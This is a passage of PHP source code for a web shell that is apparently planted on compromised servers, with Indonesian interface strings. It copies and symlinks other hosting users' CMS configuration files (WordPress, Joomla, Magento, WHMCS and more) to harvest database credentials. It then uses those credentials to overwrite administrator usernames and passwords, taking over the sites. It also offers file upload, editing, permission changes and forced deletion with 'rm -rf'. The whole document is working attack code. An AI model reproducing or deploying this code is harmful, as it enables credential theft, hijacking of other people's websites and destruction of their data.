$user.'WORDPRESS.txt'); copy('/'.$home.'/'.$user.'/public_html/v2/wp-config.php', $user.'WORDPRESS.txt'); copy('/'.$home.'/'.$user.'/public_html/press/wp-config.php', $user.'WORDPRESS.txt'); copy('/'.$home.'/'.$user.'/public_html/new/wp-config.php', $user.'WORDPRESS.txt'); copy('/'.$home.'/'.$user.'/public_html/blogs/wp-config.php', $user.'WORDPRESS.txt'); copy('/'.$home.'/'.$user.'/public_html/blog/configuration.php', $user.'JOOMLA.txt'); copy('/'.$home.'/'.$user.'/public_html/submitticket.php', $user.'WHMCS.txt'); copy('/'.$home.'/'.$user.'/public_html/cms/configuration.php', $user.'JOOMLA.txt'); copy('/'.$home.'/'.$user.'/public_html/beta/configuration.php', $user.'JOOMLA.txt'); copy('/'.$home.'/'.$user.'/public_html/portal/configuration.php', $user.'JOOMLA.txt'); copy('/'.$home.'/'.$user.'/public_html/site/configuration.php', $user.'JOOMLA.txt'); copy('/'.$home.'/'.$user.'/public_html/main/configuration.php', $user.'JOOMLA.txt'); copy('/'.$home.'/'.$user.'/public_html/home/configuration.php', $user.'JOOMLA.txt'); copy('/'.$home.'/'.$user.'/public_html/demo/configuration.php', $user.'JOOMLA.txt'); copy('/'.$home.'/'.$user.'/public_html/test/configuration.php', $user.'JOOMLA.txt'); copy('/'.$home.'/'.$user.'/public_html/v1/configuration.php', $user.'JOOMLA.txt'); copy('/'.$home.'/'.$user.'/public_html/v2/configuration.php', $user.'JOOMLA.txt'); copy('/'.$home.'/'.$user.'/public_html/joomla/configuration.php', $user.'JOOMLA.txt'); copy('/'.$home.'/'.$user.'/public_html/new/configuration.php', $user.'JOOMLA.txt'); copy('/'.$home.'/'.$user.'/public_html/app/etc/local.xml', $user.' MAGENTO.txt'); copy('/'.$home.'/'.$user.'/public_html/config/settings.inc.php', $user.' PRESTASHOP.txt'); symlink('/'.$home.'/'.$user.'/public_html/wp/test/wp-config.php', $user.'WORDPRESS.txt'); symlink('/'.$home.'/'.$user.'/public_html/blog/wp-config.php', $user.'WORDPRESS.txt'); symlink('/'.$home.'/'.$user.'/public_html/beta/wp-config.php', $user.'WORDPRESS.txt'); symlink('/'.$home.'/'.$user.'/public_html/portal/wp-config.php', $user.'WORDPRESS.txt'); symlink('/'.$home.'/'.$user.'/public_html/site/wp-config.php', $user.'WORDPRESS.txt'); symlink('/'.$home.'/'.$user.'/public_html/wp/wp-config.php', $user.'WORDPRESS.txt'); symlink('/'.$home.'/'.$user.'/public_html/WP/wp-config.php', $user.'WORDPRESS.txt'); symlink('/'.$home.'/'.$user.'/public_html/news/wp-config.php', $user.'WORDPRESS.txt'); symlink('/'.$home.'/'.$user.'/public_html/wordpress/wp-config.php', $user.'WORDPRESS.txt'); symlink('/'.$home.'/'.$user.'/public_html/test/wp-config.php', $user.'WORDPRESS.txt'); symlink('/'.$home.'/'.$user.'/public_html/demo/wp-config.php', $user.'WORDPRESS.txt'); symlink('/'.$home.'/'.$user.'/public_html/home/wp-config.php', $user.'WORDPRESS.txt'); symlink('/'.$home.'/'.$user.'/public_html/v1/wp-config.php', $user.'WORDPRESS.txt'); symlink('/'.$home.'/'.$user.'/public_html/v2/wp-config.php', $user.'WORDPRESS.txt'); symlink('/'.$home.'/'.$user.'/public_html/press/wp-config.php', $user.'WORDPRESS.txt'); symlink('/'.$home.'/'.$user.'/public_html/new/wp-config.php', $user.'WORDPRESS.txt'); symlink('/'.$home.'/'.$user.'/public_html/blogs/wp-config.php', $user.'WORDPRESS.txt'); symlink('/'.$home.'/'.$user.'/public_html/blog/configuration.php', $user.'JOOMLA.txt'); symlink('/'.$home.'/'.$user.'/public_html/submitticket.php', $user.'WHMCS.txt'); symlink('/'.$home.'/'.$user.'/public_html/cms/configuration.php', $user.'JOOMLA.txt'); symlink('/'.$home.'/'.$user.'/public_html/beta/configuration.php', $user.'JOOMLA.txt'); symlink('/'.$home.'/'.$user.'/public_html/portal/configuration.php', $user.'JOOMLA.txt'); symlink('/'.$home.'/'.$user.'/public_html/site/configuration.php', $user.'JOOMLA.txt'); symlink('/'.$home.'/'.$user.'/public_html/main/configuration.php', $user.'JOOMLA.txt'); symlink('/'.$home.'/'.$user.'/public_html/home/configuration.php', $user.'JOOMLA.txt'); symlink('/'.$home.'/'.$user.'/public_html/demo/configuration.php', $user.'JOOMLA.txt'); symlink('/'.$home.'/'.$user.'/public_html/test/configuration.php', $user.'JOOMLA.txt'); symlink('/'.$home.'/'.$user.'/public_html/v1/configuration.php', $user.'JOOMLA.txt'); symlink('/'.$home.'/'.$user.'/public_html/v2/configuration.php', $user.'JOOMLA.txt'); symlink('/'.$home.'/'.$user.'/public_html/joomla/configuration.php', $user.'JOOMLA.txt'); symlink('/'.$home.'/'.$user.'/public_html/new/configuration.php', $user.'JOOMLA.txt'); symlink('/'.$home.'/'.$user.'/public_html/app/etc/local.xml', $user.' MAGENTO.txt'); symlink('/'.$home.'/'.$user.'/public_html/config/settings.inc.php', $user.' PRESTASHOP.txt'); copy('/'.$home.'/'.$user.'/public_html/application/config/database.php', $user.' ELLISLAB.txt'); copy('/'.$home.'/'.$user.'/public_html/admin/config.php', $user.' OPENCART.txt'); copy('/'.$home.'/'.$user.'/public_html/default/settings.php', $user.' DRUPAL.txt'); copy('/'.$home.'/'.$user.'/public_html/forum/config.php', $user.' PHPBB.txt'); symlink('/'.$home.'/'.$user.'/public_html/application/config/database.php', $user.' ELLISLAB.txt'); symlink('/'.$home.'/'.$user.'/public_html/admin/config.php', $user.' OPENCART.txt'); symlink('/'.$home.'/'.$user.'/public_html/default/settings.php', $user.' DRUPAL.txt'); symlink('/'.$home.'/'.$user.'/public_html/forum/config.php', $user.' PHPBB.txt'); copy('/'.$home.'/'.$user.'/public_html/vb/includes/config.php', $user.' VBULLETIN.txt'); copy('/'.$home.'/'.$user.'/public_html/includes/config.php', $user.' VBULLETIN.txt'); copy('/'.$home.'/'.$user.'/public_html/forum/includes/config.php', $user.' VBULLETIN.txt'); copy('/'.$home.'/'.$user.'/public_htm/config.php', $user.' OTHER.txt'); copy('/'.$home.'/'.$user.'/public_htm/html/config.php', $user.' PHPNUKE.txt'); symlink('/'.$home.'/'.$user.'/public_html/vb/includes/config.php', $user.' VBULLETIN.txt'); symlink('/'.$home.'/'.$user.'/public_html/includes/config.php', $user.' VBULLETIN.txt'); symlink('/'.$home.'/'.$user.'/public_html/forum/includes/config.php', $user.' VBULLETIN.txt'); symlink('/'.$home.'/'.$user.'/public_htm/config.php', $user.' OTHER.txt'); symlink('/'.$home.'/'.$user.'/public_htm/html/config.php', $user.' PHPNUKE.txt'); copy('/'.$home.'/'.$user.'/public_htm/conn.php', $user.' OTHER.txt'); symlink('/'.$home.'/'.$user.'/public_html/conn.php', $user.' OTHER.txt'); symlink('/'.$home.'/'.$user.'/public_html/inc/config.inc.php', $user.' OTHER.txt'); copy('/'.$home.'/'.$user.'/public_html/application/config/database.php', $user.' OTHER.txt'); symlink('/'.$home.'/'.$user.'/public_html/application/config/database.php', $user.' OTHER.txt'); copy('/'.$home.'/'.$user.'/public_html/inc/config.inc.php', $user.' OTHER.txt'); copy('/var/www/wp-config.php', 'WORDPRESS.txt'); copy('/var/www/configuration.php', 'JOOMLA.txt'); copy('/var/www/config.inc.php', 'OPENJOURNAL.txt'); copy('/var/www/config.php', 'OTHER.txt'); copy('/var/www/config/koneksi.php', 'OTHER.txt'); copy('/var/www/include/config.php', 'OTHER.txt'); copy('/var/www/connect.php', 'OTHER.txt'); copy('/var/www/config/connect.php', 'OTHER.txt'); copy('/var/www/include/connect.php', 'OTHER.txt'); copy('/var/www/html/wp-config.php', 'WORDPRESS.txt'); copy('/var/www/html/configuration.php', 'JOOMLA.txt'); copy('/var/www/html/config.inc.php', 'OPENJOURNAL.txt'); copy('/var/www/html/config.php', 'OTHER.txt'); copy('/var/www/html/config/koneksi.php', 'OTHER.txt'); copy('/var/www/html/include/config.php', 'OTHER.txt'); copy('/var/www/html/connect.php', 'OTHER.txt'); copy('/var/www/html/config/connect.php', 'OTHER.txt'); copy('/var/www/html/include/connect.php', 'OTHER.txt'); symlink('/var/www/wp-config.php', 'WORDPRESS.txt'); symlink('/var/www/configuration.php', 'JOOMLA.txt'); symlink('/var/www/config.inc.php', 'OPENJOURNAL.txt'); symlink('/var/www/config.php', 'OTHER.txt'); symlink('/var/www/config/koneksi.php', 'OTHER.txt'); symlink('/var/www/include/config.php', 'OTHER.txt'); symlink('/var/www/connect.php', 'OTHER.txt'); symlink('/var/www/config/connect.php', 'OTHER.txt'); symlink('/var/www/include/connect.php', 'OTHER.txt'); symlink('/var/www/html/wp-config.php', 'WORDPRESS.txt'); symlink('/var/www/html/configuration.php', 'JOOMLA.txt'); symlink('/var/www/html/config.inc.php', 'OPENJOURNAL.txt'); symlink('/var/www/html/config.php', 'OTHER.txt'); symlink('/var/www/html/config/koneksi.php', 'OTHER.txt'); symlink('/var/www/html/include/config.php', 'OTHER.txt'); symlink('/var/www/html/connect.php', 'OTHER.txt'); symlink('/var/www/html/config/connect.php', 'OTHER.txt'); symlink('/var/www/html/include/connect.php', 'OTHER.txt'); } echo '
Bypass Symlink Berhasil
'; } else { echo "
Bypass Symlink Home User Server
"; } } /*Auto edit user*/ } elseif($_GET['menu'] == 'auto_edit_users'){ echo '
'; if($_POST['submit']) { if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) { echo "
username Dan password harus lebih dari 6 karakter
"; } else { $user_baru = $_POST['user_baru']; $pass_baru = md5($_POST['pass_baru']); $conf = $_POST['config_dir']; $scan_conf = scandir($conf); foreach($scan_conf as $file_conf) { if(!is_file("$conf/$file_conf")) continue; $config = file_get_contents("$conf/$file_conf"); if(preg_match("/JConfig|joomla/",$config)) { $dbhost = ambilkata($config,"host = '","'"); $dbuser = ambilkata($config,"user = '","'"); $dbpass = ambilkata($config,"password = '","'"); $dbname = ambilkata($config,"db = '","'"); $dbprefix = ambilkata($config,"dbprefix = '","'"); $prefix = $dbprefix."users"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC"); $result = mysql_fetch_array($q); $id = $result['id']; $site = ambilkata($config,"sitename = '","'"); $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'"); echo "
Config => ".$file_conf."

"; echo "
CMS => Joomla
"; if($site == '') { echo "
Sitename => ERROR, Gagal Mengambil Domain

"; } else { echo "
Sitename => $site

"; } if(!$update OR !$conn OR !$db) { echo "
Status => ".mysql_error()."


"; } else { echo "
Status => sukses, silakan login dengan user & pass yang baru.


"; } mysql_close($conn); } elseif(preg_match("/WordPress/",$config)) { $dbhost = ambilkata($config,"DB_HOST', '","'"); $dbuser = ambilkata($config,"DB_USER', '","'"); $dbpass = ambilkata($config,"DB_PASSWORD', '","'"); $dbname = ambilkata($config,"DB_NAME', '","'"); $dbprefix = ambilkata($config,"table_prefix = '","'"); $prefix = $dbprefix."users"; $option = $dbprefix."options"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC"); $result = mysql_fetch_array($q); $id = $result[ID]; $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC"); $result2 = mysql_fetch_array($q2); $target = $result2[option_value]; if($target == '') { $url_target = "
Login => ERROR, Gagal Mengambil Domain

"; } else { $url_target = "
Login => $target/wp-login.php

"; } $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'"); echo "
Config => ".$file_conf."

"; echo "
CMS => Wordpress

"; echo $url_target; if(!$update OR !$conn OR !$db) { echo "
Status => ".mysql_error()."


"; } else { echo "
Status => sukses, silakan login dengan user & pass yang baru.


"; } mysql_close($conn); } elseif(preg_match("/Magento|Mage_Core/",$config)) { $dbhost = ambilkata($config,""); $dbuser = ambilkata($config,""); $dbpass = ambilkata($config,""); $dbname = ambilkata($config,""); $dbprefix = ambilkata($config,""); $prefix = $dbprefix."admin_user"; $option = $dbprefix."core_config_data"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC"); $result = mysql_fetch_array($q); $id = $result[user_id]; $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'"); $result2 = mysql_fetch_array($q2); $target = $result2[value]; if($target == '') { $url_target = "
Login => ERROR, Gagal Mengambil Domain

"; } else { $url_target = "
Login => $target/admin/

"; } $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'"); echo "
Config => ".$file_conf."

"; echo "
CMS => Magento

"; echo $url_target; if(!$update OR !$conn OR !$db) { echo "
Status => ".mysql_error()."


"; } else { echo "
Status => sukses, silakan login dengan user & pass yang baru.


"; } mysql_close($conn); } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) { $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'"); $dbuser = ambilkata($config,"'DB_USERNAME', '","'"); $dbpass = ambilkata($config,"'DB_PASSWORD', '","'"); $dbname = ambilkata($config,"'DB_DATABASE', '","'"); $dbprefix = ambilkata($config,"'DB_PREFIX', '","'"); $prefix = $dbprefix."user"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC"); $result = mysql_fetch_array($q); $id = $result[user_id]; $target = ambilkata($config,"HTTP_SERVER', '","'"); if($target == '') { $url_target = "
Login => ERROR, Gagal Mengambil Domain

"; } else { $url_target = "
Login => $target

"; } $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'"); echo "
Config => ".$file_conf."

"; echo "
CMS => OpenCart

"; echo $url_target; if(!$update OR !$conn OR !$db) { echo "
Status => ".mysql_error()."


"; } else { echo "
Status => sukses, silakan login dengan user & pass yang baru.


"; } mysql_close($conn); } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) { $dbhost = ambilkata($config,'server = "','"'); $dbuser = ambilkata($config,'username = "','"'); $dbpass = ambilkata($config,'password = "','"'); $dbname = ambilkata($config,'database = "','"'); $prefix = "users"; $option = "identitas"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC"); $result = mysql_fetch_array($q); $target = $result[alamat_website]; if($target == '') { $target2 = $result[url]; $url_target = "
Login => ERROR, Gagal Mengambil Domain

"; if($target2 == '') { $url_target2 = "
Login => ERROR, Gagal Memgambil Domain

"; } else { $cek_login3 = file_get_contents("$target2/adminweb/"); $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/"); if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) { $url_target2 = "
Login => $target2/adminweb

"; } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) { $url_target2 = "
Login => $target2/lokomedia/adminweb

"; } else { $url_target2 = "
Login => $target2 [ Login Page Admin Tidak Dapat Ditemukan ]

"; } } } else { $cek_login = file_get_contents("$target/adminweb/"); $cek_login2 = file_get_contents("$target/lokomedia/adminweb/"); if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) { $url_target = "
Login => $target/adminweb

"; } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) { $url_target = "
Login => $target/lokomedia/adminweb

"; } else { $url_target = "
Login => $target [ Login Page Admin Tidak Dapat Ditemukan ]

"; } } $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'"); echo "
Config => ".$file_conf."

"; echo "
CMS => Lokomedia

"; if(preg_match('/ERROR, Gagal Mengambil Domain/', $url_target)) { echo $url_target2; } else { echo $url_target; } if(!$update OR !$conn OR !$db) { echo "
Status => ".mysql_error()."


"; } else { echo "
Status => Sukses, silakan login dengan user & pass yang baru.


"; } mysql_close($conn); } } } } else { echo "
Auto Edit User Username Password
"; } /*Extract File Zip*/ } elseif($_GET['zip'] == 'extract'){ echo '
'; $view_file = str_replace($_SERVER['DOCUMENT_ROOT'], '', $action.'/'.basename($_GET['file'])); if(isset($_POST['Extract'])){ $extract = new ZipArchive(); $extract -> open($action.'/'.basename($_GET['file'])); $extract -> extractTo($action.'/'.$_POST['kemana']); if($extract){ echo 'Zip Berhasil Di Extract Ke '.basename($_POST['kemana']).''; } else { echo 'Zip Gagal Di Extract'; } $extract->close(); } echo "
"; echo 'Zip Name: '.basename($_GET['file']).'
Extract To
'; /*upload file: multiple uploader*/ } elseif ($_GET['upl'] == 'upload') { echo '
'; if(isset($_POST['submit'])){ $mulai = count($_FILES['file']['name']); for($c = 0; $c <$mulai; $c++){ if($_POST['type'] == 'regular') { $FName = $_FILES['file']['name'][$c]; if(copy($_FILES['file']['tmp_name'][$c], $action.'/'.$_FILES['file']['name'][$c])){ echo "
".basename($FName)." Berhasil Di Upload
"; } else { echo "
".basename($FName)." Gagal Di Upload
"; } } else { $FName2 = $_FILES['file']['name'][$c]; $home = $_SERVER['DOCUMENT_ROOT']."/".$_FILES['file']['name'][$c]; $website = $_SERVER['HTTP_HOST']."/".$_FILES['file']['name'][$c]; if(is_writable($_SERVER['DOCUMENT_ROOT'])) { if(@copy($_FILES['file']['tmp_name'][$c], $home)) { echo "
".basename($FName2)." Berhasil Di Upload
=> http://$website
"; } else { echo "
".basename($FName2)." Gagal Di Upload
"; } } else { echo "
".basename($FName2)." Gagal Di Upload
"; } } } } echo '
Multiple File Upload
Regular Home_Root
'; /*view code files*/ } elseif($_GET['demo'] == 'view'){ $filex = $action.'/'.basename($_GET['file']); $view_file = str_replace($_SERVER['DOCUMENT_ROOT'], '', $action.'/'.basename($_GET['file'])); $ext = strtolower(pathinfo($filex, PATHINFO_EXTENSION)); $lihatF = htmlspecialchars(file_get_contents($filex)); if($ext == "jpg" OR $ext == "bmp" OR $ext == "svg" OR $ext == "tga" OR $ext == "pic" OR $ext == "pxr" OR $ext == "sct" OR $ext == "ccit" OR $ext == "dcs" OR $ext == "iff" OR $ext == "lzw" OR $ext == "rle" OR $ext == "wbmp" OR $ext == "tiff" OR $ext == "ico" OR $ext == "psd" OR $ext == "ttf" OR $ext == "otf" OR $ext == "eps" OR $ext == "tif" OR $ext == "pcx" OR $ext == "png" OR $ext == "jpeg" OR $ext == "gif" OR $ext == "rdw" OR $ext == "ico" OR $ext == "fla" OR $ext == "pdf" OR $ext == "mp3" OR $ext == "mp4" OR $ext == "apk" OR $ext == "zip" OR $ext == "bz2" OR $ext == "lz4" OR $ext == "xz" OR $ext == "7z" OR $ext == "rar" OR $ext == "tar" OR $ext == "gz"){ echo '
'; echo '

This File Can\'t Be Read!

'; echo '
This file type may be in the form of images and audio and video and can be in the form of a zip file
'; echo '
'; } else { if($lihatF){ echo '
'; echo "
"; echo 'File Name: '.basename($_GET['file']).''; echo '
'.$lihatF.'
'; echo '
'; } } /*edit file*/ } elseif($_GET['settings'] == 'edit'){ echo '
'; $view_file = str_replace($_SERVER['DOCUMENT_ROOT'], '', $action.'/'.basename($_GET['file'])); if($_POST['submit']){ $edit = file_put_contents($_GET['file'], $_POST['src']); if($edit){ echo 'File Berhasil Di-edit'; } else{ echo 'File Gagal Di-edit'; } } echo "
"; echo 'File Name: '.basename($_GET['file']).'
'; /*rename dir*/ } elseif($_GET['settings'] == 'ubah_folder'){ echo '
'; $view_folder = str_replace($_SERVER['DOCUMENT_ROOT'], '', $_GET['action'].'/'); if($_POST['submit']){ $Rdir = rename($action, "" .dirname($action)."/".htmlspecialchars($_POST['namaD']).""); if($Rdir){ echo 'Berhasil Mengubah Nama Dir'; } else { echo 'Gagal Mengubah Nama Dir'; } } echo "
"; echo 'Dir Name: '.basename($action).'
New Name
'; /*rename file*/ } elseif($_GET['settings'] == 'rename'){ echo '
'; $view_file = str_replace($_SERVER['DOCUMENT_ROOT'], '', $action.'/'.basename($_GET['file'])); $ziptype = $action.'/'.basename($_GET['file']); $ZIP = pathinfo($ziptype, PATHINFO_EXTENSION); if(isset($_POST['submit'])){ $Rfile = rename($_GET['file'],$action.'/'.$_POST['R_file'].''); if($Rfile){ echo 'Berhasil Mengubah Nama File'; } else { echo 'Gagal Mengubah Nama File'; } } echo "
"; if($ZIP == "gz" OR $ZIP == "ZIP" OR $ZIP == "tar" OR $ZIP == "TAR" OR $ZIP == "bz2" OR $ZIP == "lz4" OR $ZIP == "xz" OR $ZIP == "zip" OR $ZIP == "rar" OR $ZIP == "RAR" OR $ZIP == "7z" OR $ZIP == "gz"){ echo " "; } else { echo " "; } echo "
"; echo 'File Name: '.basename($_GET['file']).'
New Name
'; /*chmod file*/ } elseif($_GET['settings'] == 'chmod_file'){ echo '
'; $view_file = str_replace($_SERVER['DOCUMENT_ROOT'], '', $action.'/'.basename($_GET['file'])); $ziptype = $action.'/'.basename($_GET['file']); $ZIP = pathinfo($ziptype, PATHINFO_EXTENSION); if(isset($_POST['submit'])){ $chmd = chmod($_GET['file'], $_POST['chmod_file']); if($chmd){ echo 'Change Permission Berhasil'; } else { echo 'Change Permission Gagal'; } } echo "
"; if($ZIP == "gz" OR $ZIP == "ZIP" OR $ZIP == "tar" OR $ZIP == "TAR" OR $ZIP == "bz2" OR $ZIP == "lz4" OR $ZIP == "xz" OR $ZIP == "zip" OR $ZIP == "rar" OR $ZIP == "RAR" OR $ZIP == "7z" OR $ZIP == "gz"){ echo " "; } else { echo " "; } echo "
"; echo 'File Name: '.basename($_GET['file']).'
Chmod File
'; /*chmod dir*/ } elseif($_GET['settings'] == 'chmod_dir'){ echo '
'; $view_folder = str_replace($_SERVER['DOCUMENT_ROOT'], '', $_GET['action'].'/'); if(isset($_POST['submit'])){ $chmd_dir = chmod($_GET['action'], $_POST['chmod_dir']); if($chmd_dir){ echo 'Change Permission Berhasil'; } else { echo 'Change Permission Gagal'; } } echo "
"; echo 'Dir Name: '.basename($_GET['file']).'
Chmod Dir
'; /*delete dir*/ } elseif($_GET['settings'] == 'hapus_folder'){ if(is_dir($action)){ if(is_writable($action)) { @rmdir($action); @exe("rm -rf $action"); @exe("rmdir /s /q $action"); echo ''; } else { echo '
'.basename($action).' Gagal Di-hapus
'; } } /*delete file*/ } elseif($_GET['settings'] == 'Delete'){ if(unlink($_GET['file'])){ $selesai = $action; echo ''; } else { echo '
'.basename($_GET['file']).' Gagal Di-hapus
'; } } else { if(is_dir($action) === true) { if(!is_readable($action)) { echo '
'; echo '

Can\'t Open The Directory!

'; echo '
Sorry, you can\'t see the contents of the files in this Directory
'; echo '
'; } else { echo '
'; /*parent directory*/ echo ""; /*scandir: folder*/ $scandir = scandir($action); foreach($scandir as $folder){ if(!is_dir("$action/$folder") || $folder == '.' || $folder == '..') continue; $dirtime = date("F d Y g:i:s", filemtime("$action/$folder")); $view_url_folder = str_replace($_SERVER['DOCUMENT_ROOT'], '', $action.'/'.$folder.'/'); echo ''; echo ''; echo ""; } } } else { echo '
'; echo '

Can\'t Open The Directory!

'; echo '
Sorry, you can\'t see the contents of the files in this Directory
'; echo '
'; } /*scandir: file*/ foreach($scandir as $file){ if(!is_file("$action/$file")) continue; $filetime = date("F d Y g:i:s", filemtime("$action/$file")); $path_file = $action.'/'.$file; $extn = strtolower(pathinfo($path_file, PATHINFO_EXTENSION)); $ZIP = pathinfo($path_file, PATHINFO_EXTENSION); $view_url_file = str_replace($_SERVER['DOCUMENT_ROOT'], '', $action.'/'.$file); switch ($extn){ /*image extension*/ case "png": $extn = ""; break; case "jpg": $extn = ""; break; case "jpeg": $extn = ""; break; case "svg": $extn = ""; break; case "gif": $extn = ""; break; case "wbmp": $extn = ""; break; case "tiff": $extn = ""; break; case "bmp": $extn = ""; break; case "xbm": $extn = ""; break; case "tif": $extn = ""; break; case "sct": $extn = ""; break; case "iff": $extn = ""; break; case "dcs": $extn = ""; break; case "rle": $extn = ""; break; case "pxr": $extn = ""; break; case "lzw": $extn = ""; break; case "ccit": $extn = ""; break; case "eps": $extn = ""; break; case "pic": $extn = ""; break; case "pcx": $extn = ""; break; case "tga": $extn = ""; break; case "ico": $extn = ""; break; case "psd": $extn = ""; break; /*audio video extension*/ case "mp3": $extn = ""; break; case "ogg": $extn = ""; break; case "oga": $extn = ""; break; case "mp4": $extn = ""; break; /*file text extension*/ case "txt": $extn = ""; break; case "ttxt": $extn = ""; break; case "temp": $extn = ""; break; case "htaccess": $extn = ""; break; case "log": $extn = ""; break; case "ini": $extn = ""; break; case "conf": $extn = ""; break; /*file code extension*/ case "htm": $extn = ""; break; case "html": $extn = ""; break; case "shtml": $extn = ""; break; case "xhtml": $extn = ""; break; case "json": $extn = ""; break; case "php": $extn = ""; break; case "php4": $extn = ""; break; case "phps": $extn = ""; break; case "php5": $extn = ""; break; case "phtml": $extn = ""; break; case "ftpquota": $extn = ""; break; case "md": $extn = ""; break; case "js": $extn = ""; break; case "py": $extn = ""; break; case "css": $extn = ""; break; case "pdf": $extn = ""; break; case "fla": $extn = ""; break; case "xls": $extn = ""; break; case "xlsx": $extn = ""; break; case "xml": $extn = ""; break; case "ods": $extn = ""; break; case "docx": $extn = ""; break; case "doc": $extn = ""; break; case "pptx": $extn = ""; break; case "ppt": $extn = ""; break; /*Zip extension*/ case "zip": $extn = ""; break; case "7z": $extn = ""; break; case "gz": $extn = ""; break; case "tar": $extn = ""; break; case "bz2": $extn = ""; break; case "lz4": $extn = ""; break; case "xz": $extn = ""; break; case "rar": $extn = ""; break; case "bak": $extn = ""; break; case "exe": $extn = ""; break; case "msi": $extn = ""; break; case "bat": $extn = ""; break; case "apk": $extn = ""; break; default: $extn = ""; break; } $size = filesize("$action/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; }else{ $size = $size.' KB'; } echo "'; echo ""; } echo '
File Name
Size
Modified
Permission
Option
  Parent Directory
  '.$folder.'
Folder
'.$dirtime.'
'; if(is_writable("$action/$folder")) echo ''; elseif(!is_readable("$action/$folder")) echo ''; echo perms("$action/$folder"); if(is_writable("$action/$folder") || !is_readable("$action/$folder")) echo ''; echo '
 
 $extn $file
".$size."
".$filetime."
"; if(is_writable("$action/$file")) echo ''; elseif(!is_readable("$action/$file")) echo ''; echo perms("$action/$file"); if(is_writable("$action/$file") || !is_readable("$action/$file")) echo ''; echo '
 "; if($ZIP == "gz" OR $ZIP == "ZIP" OR $ZIP == "tar" OR $ZIP == "TAR" OR $ZIP == "bz2" OR $ZIP == "lz4" OR $ZIP == "xz" OR $ZIP == "zip" OR $ZIP == "rar" OR $ZIP == "RAR" OR $ZIP == "7z" OR $ZIP == "gz"){ echo "  "; } else { echo "  "; } echo "
'; echo '
Copyright © 2020 - SAD.BOY
'; } function perms($file){ $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?>